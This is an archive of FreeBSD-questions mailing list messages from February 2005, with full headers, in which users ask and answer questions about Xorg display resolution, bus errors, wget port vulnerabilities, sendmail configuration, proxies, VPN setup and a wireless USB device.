run at 1280x1024 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Danie Du Toit List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 17:37:06 -0000 You have two SubSection "display"'s with depth 8 - try remove the second one : SubSection "Display" Viewport 0 0 Depth 8 EndSubSection On Sun, 6 Feb 2005 06:42:23 +0100, Dejan Lesjak wrote: > Gary Kline wrote: > > > People, > > > > One of my larger servers has 5.3 and Xorg; I can't find the > > right configuration setting for the display; so it runs at > > its maximum: 1600x1200. This would be fine except that the > > apps shake with tiny wavy lines. The driver may be pushing > > things to their limit. > > > > I've tried X -configure and Xorg -conf. Somehow or other > > I've generated an xorg.conf in /etc/X11, but no luck in > > changing the resolution. The closest I've come to having > > things work with xorg.conf and startx is to see a blank/grey > > screen--at 1600x1200. I have ctwm set up in /root and > > /home/kline. > > > > Modifying the Screen Section messes things up for some > > reason. I finally *do* have xorg working with /etc/X11/xorg.conf > > but only with the following commented: > > Try putting something like this: > Option "PreferredMode" "1280x1024" > in Section "Monitor". > What do you mean by "messes things up" with the modified Screen Section? Do > you get errors? Do note that you can't have more than one Screen section with > same Identifier string. > > > Dejan > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 17:52:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1C26B16A4CE for ; Sun, 6 Feb 2005 17:52:20 +0000 (GMT) Received: from mail.jodeit.com (mail.jodeit.com [207.10.131.48]) by mx1.FreeBSD.org (Postfix) with ESMTP id 49FCB43D45 for ; Sun, 6 Feb 2005 17:52:19 +0000 (GMT) (envelope-from denny@jodeit.com) Received: from dennylaptop2 [207.10.131.111] by mail.jodeit.com with ESMTP (SMTPD32-7.07) id A7485BCB0100; Sun, 06 Feb 2005 12:43:36 -0500 From: "Denny Jodeit" To: Date: Sun, 6 Feb 2005 12:52:17 -0500 Message-ID: <01fc01c50c74$98f2b630$6401a8c0@dennylaptop2> MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1250" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: <1248029111.20050206142937@wanadoo.fr> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 Importance: Normal X-Declude-Sender: denny@jodeit.com [207.10.131.111] X-Spam-Tests-Failed: CMDSPACE [3] X-Note: This E-mail was scanned by Declude JunkMail (www.declude.com) for spam. Subject: RE: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 17:52:20 -0000 Xian writes: X> I turn my computer off over night so I can sleep. You're never a true system administrator until you can sleep surrounded by the sound of fans and disk drives. Extra points if you can sleep amid racks of datasets (less and less common these days). -- Anthony _______________________________________________ I can sleep at my desk with 16 servers running....does that count? Hahahaha -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.300 / Virus Database: 265.8.5 - Release Date: 2/3/2005 From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 18:07:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D3DFB16A4CE for ; Sun, 6 Feb 2005 18:07:57 +0000 (GMT) Received: from ms-smtp-03.nyroc.rr.com (ms-smtp-03.nyroc.rr.com [24.24.2.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 39F4F43D2D for ; Sun, 6 Feb 2005 18:07:57 +0000 (GMT) (envelope-from BCSFD204@twcny.rr.com) Received: from [192.168.0.203] (cpe-24-59-136-53.twcny.res.rr.com [24.59.136.53])j16I7sP4023528 for ; Sun, 6 Feb 2005 13:07:54 -0500 (EST) Message-ID: <42065CFA.6080909@twcny.rr.com> Date: Sun, 06 Feb 2005 13:07:54 -0500 From: Tom Parquette User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.2) Gecko/20041016 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "freebsd-questions@freebsd.org" Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine Subject: "Bus errors" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 18:07:58 -0000 Hi. I'm running 5.3-R with a custom kernel on a dual processor athlon. I've recently started getting "Bus error" showing up as a reason for various failures. e.g. setiathome, make buildworld. I've also gotten some panics (there are only about 5 messages that didn't tell me anything and (sorry) I did not write them down. I'm waiting for that to happen again. I've also seen some hangs where the screen saver (the blue rain one) hangs. For the hangs and panics I've only been able to get out of them with the hardware reset button. I've done some searching on "bus error" but it does not seem to apply. I only found entries talking about software interface problems. I'm starting to wonder if I have a hardware problem with this machine since it only seemed to start when I put a heavier load on it (e.g. setiathome) and the strange symptoms seem to be showing up in multiple places. Any input/insight would be welcome. Thanks... From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 18:13:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EB56616A4CE; Sun, 6 Feb 2005 18:13:01 +0000 (GMT) Received: from ms-smtp-04-eri0.ohiordc.rr.com (ms-smtp-04-smtplb.ohiordc.rr.com [65.24.5.138]) by mx1.FreeBSD.org (Postfix) with ESMTP id 11B9743D45; Sun, 6 Feb 2005 18:13:01 +0000 (GMT) (envelope-from dmehler26@woh.rr.com) Received: from satellite (dhcp065-031-041-029.woh.rr.com [65.31.41.29]) j16ICwHH029702; Sun, 6 Feb 2005 13:12:58 -0500 (EST) Message-ID: <00f301c50c77$476ffbd0$0400a8c0@satellite> From: "dave" To: Date: Sun, 6 Feb 2005 13:11:28 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Virus-Scanned: Symantec AntiVirus Scan Engine cc: freebsd-ports@freebsd.org Subject: wget port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: dave List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 18:13:02 -0000 Hello, I was wondering what the status of the wget ports was? I've been getting an error about wget 1.8.2 having vulnerabilities so i uninstalled it and installed or tried to install wget-devel, but portaudit said it also had vulnerabilities and it would not permit the install to continue. Thanks. Dave. From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 18:23:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0A0C316A4CE for ; Sun, 6 Feb 2005 18:23:36 +0000 (GMT) Received: from pi.codefab.com (pi.codefab.com [199.103.21.227]) by mx1.FreeBSD.org (Postfix) with ESMTP id C2A4C43D2F for ; Sun, 6 Feb 2005 18:23:35 +0000 (GMT) (envelope-from cswiger@mac.com) Received: from localhost (localhost [127.0.0.1]) by pi.codefab.com (Postfix) with ESMTP id 416385D11; Sun, 6 Feb 2005 13:23:35 -0500 (EST) Received: from pi.codefab.com ([127.0.0.1]) by localhost (pi.codefab.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 12337-05; Sun, 6 Feb 2005 13:23:34 -0500 (EST) Received: from [192.168.1.3] (pool-68-161-50-112.ny325.east.verizon.net [68.161.50.112]) by pi.codefab.com (Postfix) with ESMTP id AA4565C39; Sun, 6 Feb 2005 13:23:33 -0500 (EST) Message-ID: <4206609D.5080700@mac.com> Date: Sun, 06 Feb 2005 13:23:25 -0500 From: Chuck Swiger Organization: The Courts of Chaos User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Loren M. Lang" References: <20050206123400.GZ8619@alzatex.com> In-Reply-To: <20050206123400.GZ8619@alzatex.com> X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at codefab.com cc: FreeBSD Mailing list Subject: Re: Virtual Hosting multiple domains X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 18:23:36 -0000 Loren M. Lang wrote: > Is there an easy way to run multiple domains off of one sendmail client > without using jails? Of course, start here: http://www.sendmail.org/virtual-hosting.html You can do fancier things if you use a smarter LDA, such as procmail. > In other words, we don't want customers to > have to uses usernames that include the domain like user%example.com. > The pop3/imap server should determine that from the source ip or domain > name used. Yes, your POP or IMAP software also needs to be vhost aware. -- -Chuck From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 18:37:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D5C2516A4CE for ; Sun, 6 Feb 2005 18:37:28 +0000 (GMT) Received: from mail.rulez.sk (DaEmoN.RuLeZ.sK [84.16.32.226]) by mx1.FreeBSD.org (Postfix) with ESMTP id DF41543D49 for ; Sun, 6 Feb 2005 18:37:27 +0000 (GMT) (envelope-from danger@rulez.sk) Received: from localhost (localhost [127.0.0.1]) by mail.rulez.sk (Postfix) with ESMTP id 456C545077 for ; Sun, 6 Feb 2005 19:37:26 +0100 (CET) Received: from danger.mcrn.sk (danger.mcrn.sk [84.16.37.254]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mail.rulez.sk (Postfix) with ESMTP id 470E845072 for ; Sun, 6 Feb 2005 19:37:18 +0100 (CET) Date: Sun, 6 Feb 2005 19:36:38 +0100 From: DanGer X-Mailer: The Bat! (v3.0.1.33) Professional X-Priority: 3 (Normal) Message-ID: <756433042.20050206193638@rulez.sk> To: questions@freebsd.org In-Reply-To: <00f301c50c77$476ffbd0$0400a8c0@satellite> References: <00f301c50c77$476ffbd0$0400a8c0@satellite> MIME-Version: 1.0 Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha1; boundary="----------8844246396AD6FA" X-Virus-Scanned: by amavisd-new at mail.rulez.sk X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: Re: wget port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: DanGer List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 18:37:29 -0000 This is a cryptographically signed message in MIME format. ------------8844246396AD6FA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Hi dave, Sunday, February 6, 2005, 7:11:28 PM, you has on mind: > Hello, > I was wondering what the status of the wget ports was? I've been gett= ing > an error about wget 1.8.2 having vulnerabilities so i uninstalled it and > installed or tried to install wget-devel, but portaudit said it also had > vulnerabilities and it would not permit the install to continue. > Thanks. > Dave. wget has serious vulnerabilities that aren't already fixed even in devel port...if you want install wget despite these vulns, try to do make -DDISABLE_VULNERABILITIES install --=20 Best Regards, +----------=3D=3D/\/\=3D=3D----------+ (__) FreeBSD | DanGer | \\\'',) The | DanGer@IRCnet ICQ261701668 | \/ \ ^ Power | http://danger.homeunix.org | .\._/_) To +----------=3D=3D\/\/=3D=3D----------+ Serve [ Joe's Moturary: You Stab 'Em, We Slab 'Em! ] ------------8844246396AD6FA-- From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 18:42:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 88A9916A4CE for ; Sun, 6 Feb 2005 18:42:11 +0000 (GMT) Received: from postal.netaxs.com (postal.netaxs.com [207.8.186.39]) by mx1.FreeBSD.org (Postfix) with ESMTP id F0B4443D3F for ; Sun, 6 Feb 2005 18:42:10 +0000 (GMT) (envelope-from rmchugh@netaxs.com) Received: from unix2.netaxs.com (mail@unix2.netaxs.com [207.8.186.4]) j16Ig87S029756 for ; Sun, 6 Feb 2005 13:42:09 -0500 (EST) Received: (from rmchugh@localhost) by unix2.netaxs.com (8.8.7/8.8.4) id NAA01655; Sun, 6 Feb 2005 13:42:04 -0500 (EST) Date: Sun, 6 Feb 2005 13:42:03 -0500 (EST) From: Robert McHugh To: freebsd-questions@freebsd.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: Using Sysinstall through Proxy X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 18:42:11 -0000 I've installed FreeBSD 5.3 for i386 on a system behind a firewall that requires a username and password to gain internet access. Is there anyway to tell sysinstall not only the address of the proxy, but also a username and password that is required for internet access? Thanks, Rob From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 18:43:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5E50016A4CE for ; Sun, 6 Feb 2005 18:43:25 +0000 (GMT) Received: from chen.org.nz (chen.org.nz [210.54.19.51]) by mx1.FreeBSD.org (Postfix) with ESMTP id F1D1243D45 for ; Sun, 6 Feb 2005 18:43:24 +0000 (GMT) (envelope-from jonc@chen.org.nz) Received: by chen.org.nz (Postfix, from userid 1000) id 5D7115647D; Mon, 7 Feb 2005 07:43:23 +1300 (NZDT) Date: Mon, 7 Feb 2005 07:43:23 +1300 From: Jonathan Chen To: Wayne Sierke Message-ID: <20050206184323.GA67905@osiris.chen.org.nz> References: <1107688341.676.34.camel@au.dyndns.ws> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1107688341.676.34.camel@au.dyndns.ws> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: Sendmail rejects incoming messages with large number of 'received' headers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 18:43:25 -0000 On Sun, Feb 06, 2005 at 09:42:21PM +1030, Wayne Sierke wrote: > My FreeBSD mail server includes a getmail/sendmail/maildrop combination > which occasionally fails when getmail retrieves a message via POP which > has a large number of 'received' headers which result in it being > rejected by sendmail. Is there some way of convincing sendmail to accept > these messages, other than arbitrarily increasing MaxHopCount? Not really. All MTA have a MaxHopCount feature to prevent mail-looping due to misconfiguration. You won't appreciate it until you've have thousands of emails bouncing between 2 servers due to a misconfiguration. Your best bet is to up your MaxHopCount to some reasonably large number to cover your situation, eg: 100? Cheers. -- Jonathan Chen ---------------------------------------------------------------------- The Internet: an empirical test of the idea that a million monkeys banging on a million keyboards can produce Shakespeare From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 19:40:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6659116A4CE for ; Sun, 6 Feb 2005 19:40:01 +0000 (GMT) Received: from frizzle.3x3x3.org (dsl092-017-115.sfo4.dsl.speakeasy.net [66.92.17.115]) by mx1.FreeBSD.org (Postfix) with ESMTP id 10CDA43D31 for ; Sun, 6 Feb 2005 19:40:01 +0000 (GMT) (envelope-from darren@3x3x3.org) Received: (qmail 19255 invoked by uid 89); 6 Feb 2005 19:39:31 -0000 Received: from unknown (HELO ?127.0.0.1?) (darren@3x3x3.org@10.0.1.100) by 0 with AES256-SHA encrypted SMTP (TLSv1, 256 bits); 6 Feb 2005 19:39:31 -0000 Message-ID: <42067263.3040405@3x3x3.org> Date: Sun, 06 Feb 2005 11:39:15 -0800 From: darren david User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: easy VPN config HOWTO? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 19:40:01 -0000 Hi all- I have been searching high and low for a straightforward VPN configuration HOWTO with no luck. everything i've found is way over my head and very convoluted (to me, at least). Perhaps such is the nature of VPN. My goal is simply to allow users running Windows to VPN in to my home server and gain access to the private LAN. Sure, i can get in via ssh, but i have several less technical users who need to access to shared resources and for them, ssh is not a realistic solution. I've heard that OpenVPN is a bit simpler to set up, but it too is a complicated matter. All of the examples i've seen/googled involve unix<->unix machines. I'm tracking 5.3-STABLE with pf controlling traffic. Can anyone point me in a good direction? Thanks in advance, darren david From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 19:40:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2956716A4CE for ; Sun, 6 Feb 2005 19:40:54 +0000 (GMT) Received: from smtp-vbr15.xs4all.nl (smtp-vbr15.xs4all.nl [194.109.24.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id 38FF743D62 for ; Sun, 6 Feb 2005 19:40:53 +0000 (GMT) (envelope-from rsmith@xs4all.nl) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) j16JepJe065063; Sun, 6 Feb 2005 20:40:51 +0100 (CET) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id AE0686176; Sun, 6 Feb 2005 20:41:21 +0100 (CET) Date: Sun, 6 Feb 2005 20:41:21 +0100 From: Roland Smith To: Tom Parquette Message-ID: <20050206194121.GA88521@slackbox.xs4all.nl> Mail-Followup-To: Tom Parquette , freebsd-questions@freebsd.org References: <42065CFA.6080909@twcny.rr.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="+HP7ph2BbKc20aGI" Content-Disposition: inline In-Reply-To: <42065CFA.6080909@twcny.rr.com> User-Agent: Mutt/1.4.2.1i X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! Organization: Me, organized? X-Virus-Scanned: by XS4ALL Virus Scanner cc: freebsd-questions@freebsd.org Subject: Re: "Bus errors" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 19:40:54 -0000 --+HP7ph2BbKc20aGI Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Feb 06, 2005 at 01:07:54PM -0500, Tom Parquette wrote: > I'm starting to wonder if I have a hardware problem with this machine=20 > since it only seemed to start when I put a heavier load on it (e.g.=20 > setiathome) and the strange symptoms seem to be showing up in multiple= =20 > places. It could very well be a hardware problem. One of the prime suspects to test is memory. Try memtest86 to probe for b0rken memory. OTOH, if you've been overclocking the machine, that could also lead to problems. Change things like bus speed and memory timings to the default values if you've changed them. Roland --=20 R.F. Smith /"\ ASCII Ribbon Campaign r s m i t h @ x s 4 a l l . n l \ / No HTML/RTF in e-mail http://www.xs4all.nl/~rsmith/ X No Word docs in e-mail public key: http://www.keyserver.net / \ Respect for open standards --+HP7ph2BbKc20aGI Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCBnLhEnfvsMMhpyURArEFAJ9wNnW4oSMr2bGTC10DaJxlzRXo5QCeNNKU dtPbEHnh2917J/7uCAG4Q4g= =Xv9P -----END PGP SIGNATURE----- --+HP7ph2BbKc20aGI-- From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 19:46:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7886C16A4CE for ; Sun, 6 Feb 2005 19:46:26 +0000 (GMT) Received: from smtpauth05.mail.atl.earthlink.net (smtpauth05.mail.atl.earthlink.net [209.86.89.65]) by mx1.FreeBSD.org (Postfix) with ESMTP id 18EE343D2D for ; Sun, 6 Feb 2005 19:46:26 +0000 (GMT) (envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=yoda.datawok.com) by smtpauth05.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1CxsMT-0000ua-BV; Sun, 06 Feb 2005 14:46:25 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 13:46:46 -0600 User-Agent: KMail/1.6.2 References: <42067263.3040405@3x3x3.org> In-Reply-To: <42067263.3040405@3x3x3.org> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502061346.46536.algould@datawok.com> X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bcc88939476946fb825b1598ca9a1134d2350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: darren david Subject: Re: easy VPN config HOWTO? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 19:46:26 -0000 On Sunday 06 February 2005 01:39 pm, darren david wrote: > Hi all- > > I have been searching high and low for a straightforward VPN > configuration HOWTO with no luck. everything i've found is way over > my head and very convoluted (to me, at least). Perhaps such is the > nature of VPN. > > My goal is simply to allow users running Windows to VPN in to my home > server and gain access to the private LAN. Sure, i can get in via > ssh, but i have several less technical users who need to access to > shared resources and for them, ssh is not a realistic solution. I've > heard that OpenVPN is a bit simpler to set up, but it too is a > complicated matter. All of the examples i've seen/googled involve > unix<->unix machines. > > I'm tracking 5.3-STABLE with pf controlling traffic. > > Can anyone point me in a good direction? > > Thanks in advance, > darren david Openvpn is in the ports and is cross-platform. I've never used it; so I don't know how easy it is to setup. A quick search via google came up with the following: http://www.nilings.se/openvpn/ http://sourceforge.net/projects/openvpn/ http://www.osnews.com/story.php?news_id=5803 http://www.linuxjournal.com/article/7949 Best of luck, Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 20:22:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3B4C616A4CE for ; Sun, 6 Feb 2005 20:22:41 +0000 (GMT) Received: from web31101.mail.mud.yahoo.com (web31101.mail.mud.yahoo.com [68.142.200.34]) by mx1.FreeBSD.org (Postfix) with SMTP id DE56743D48 for ; Sun, 6 Feb 2005 20:22:40 +0000 (GMT) (envelope-from grinny3004@yahoo.com) Received: (qmail 28166 invoked by uid 60001); 6 Feb 2005 20:22:40 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=QpKftfwB4WVfyCc6blKD3HHIFE4yDFpOakOIRk307cavgVear5Qt9eyXz2T2N7Y7DCCtV2mdXzpTRW7oki5VFfBlbzk2dwC8Jq4nl53mj9LFbYVfeueqYAVj8F/KwdLrY/yyqcSnDQx2h0gt6S0qG+nncdbqHOX71f+0ZDc81t0= ; Message-ID: <20050206202240.28164.qmail@web31101.mail.mud.yahoo.com> Received: from [82.161.36.157] by web31101.mail.mud.yahoo.com via HTTP; Sun, 06 Feb 2005 12:22:40 PST Date: Sun, 6 Feb 2005 12:22:40 -0800 (PST) From: grinny To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: wireless usb not recognized X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: grinny@hetwasietsmet.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 20:22:41 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi everybody, I have an "wireless steno MB112" from Apacer. This is a little usb memory stick (512MB) and wireless lan card. Does anybody know (or knows how I can find out) if this wireless card is supported? The card uses a 'Prism2' chipset. When I plug it in, bsd tells me the following: umass0: YOUR_COMPANY YOUR_PRODUCT, rev 1.10/1.00, addr 3 da0 at umass-sim0 bus 0 target 0 lun 0 da0: Removable Direct Access SCSI-2 device da0: 1.000MB/s transfers da0: 252MB (517056 512 byte sectors: 64H 32S/T 252C) da1 at umass-sim0 bus 0 target 0 lun 1 da1: Removable Direct Access SCSI-2 device da1: 1.000MB/s transfers da1: 1MB (3776 512 byte sectors: 64H 32S/T 1C) ugen0: vendor 0x0967 product 0x0204, rev 1.10/1.32, addr 4 It doesn't mention the wireless functionality, I can't seem to mount the memory stick and ifconfig doesn't list the wireless card. I thought FreeBSD would support the card since OpenBSD lists it as supported and I thought the two weren't that different. So should I just switch to OpenBSD or can I get it to work with FreeBSD? - - Grinny - ps. I'm a newbie on FreeBSD -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.1-cvs-2005-01-21 (Windows 2000 Pro SP4) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFCBnxXYu4zJlOS56wRAi8rAKCOC5bMxPWymAsZhliAPA3HHoB0tACff3yK nc4yNHqJLN1sSo59hlcfXNo= =JpEt -----END PGP SIGNATURE----- __________________________________ Do you Yahoo!? All your favorites on one personal page – Try My Yahoo! http://my.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 20:25:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0B24216A4CE for ; Sun, 6 Feb 2005 20:25:50 +0000 (GMT) Received: from sccrmhc11.comcast.net (sccrmhc11.comcast.net [204.127.202.55]) by mx1.FreeBSD.org (Postfix) with ESMTP id 93AD643D3F for ; Sun, 6 Feb 2005 20:25:49 +0000 (GMT) (envelope-from tbonius@comcast.net) Received: from ostros (c-24-18-102-54.client.comcast.net[24.18.102.54]) by comcast.net (sccrmhc11) with SMTP id <2005020620254101100ch9b0e>; Sun, 6 Feb 2005 20:25:41 +0000 Message-ID: <006301c50c8a$39819160$c900a8c0@ostros> From: "Thomas Foster" To: "darren david" , References: <42067263.3040405@3x3x3.org> Date: Sun, 6 Feb 2005 12:27:04 -0800 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Subject: Re: easy VPN config HOWTO? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 20:25:50 -0000 http://www.section6.net/help/pptphow.php Hope this helps T ----- Original Message ----- From: "darren david" To: Sent: Sunday, February 06, 2005 11:39 AM Subject: easy VPN config HOWTO? > Hi all- > > I have been searching high and low for a straightforward VPN configuration > HOWTO with no luck. everything i've found is way over my head and very > convoluted (to me, at least). Perhaps such is the nature of VPN. > > My goal is simply to allow users running Windows to VPN in to my home > server and gain access to the private LAN. Sure, i can get in via ssh, but > i have several less technical users who need to access to shared resources > and for them, ssh is not a realistic solution. I've heard that OpenVPN is > a bit simpler to set up, but it too is a complicated matter. All of the > examples i've seen/googled involve unix<->unix machines. > > I'm tracking 5.3-STABLE with pf controlling traffic. > > Can anyone point me in a good direction? > > Thanks in advance, > darren david > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > 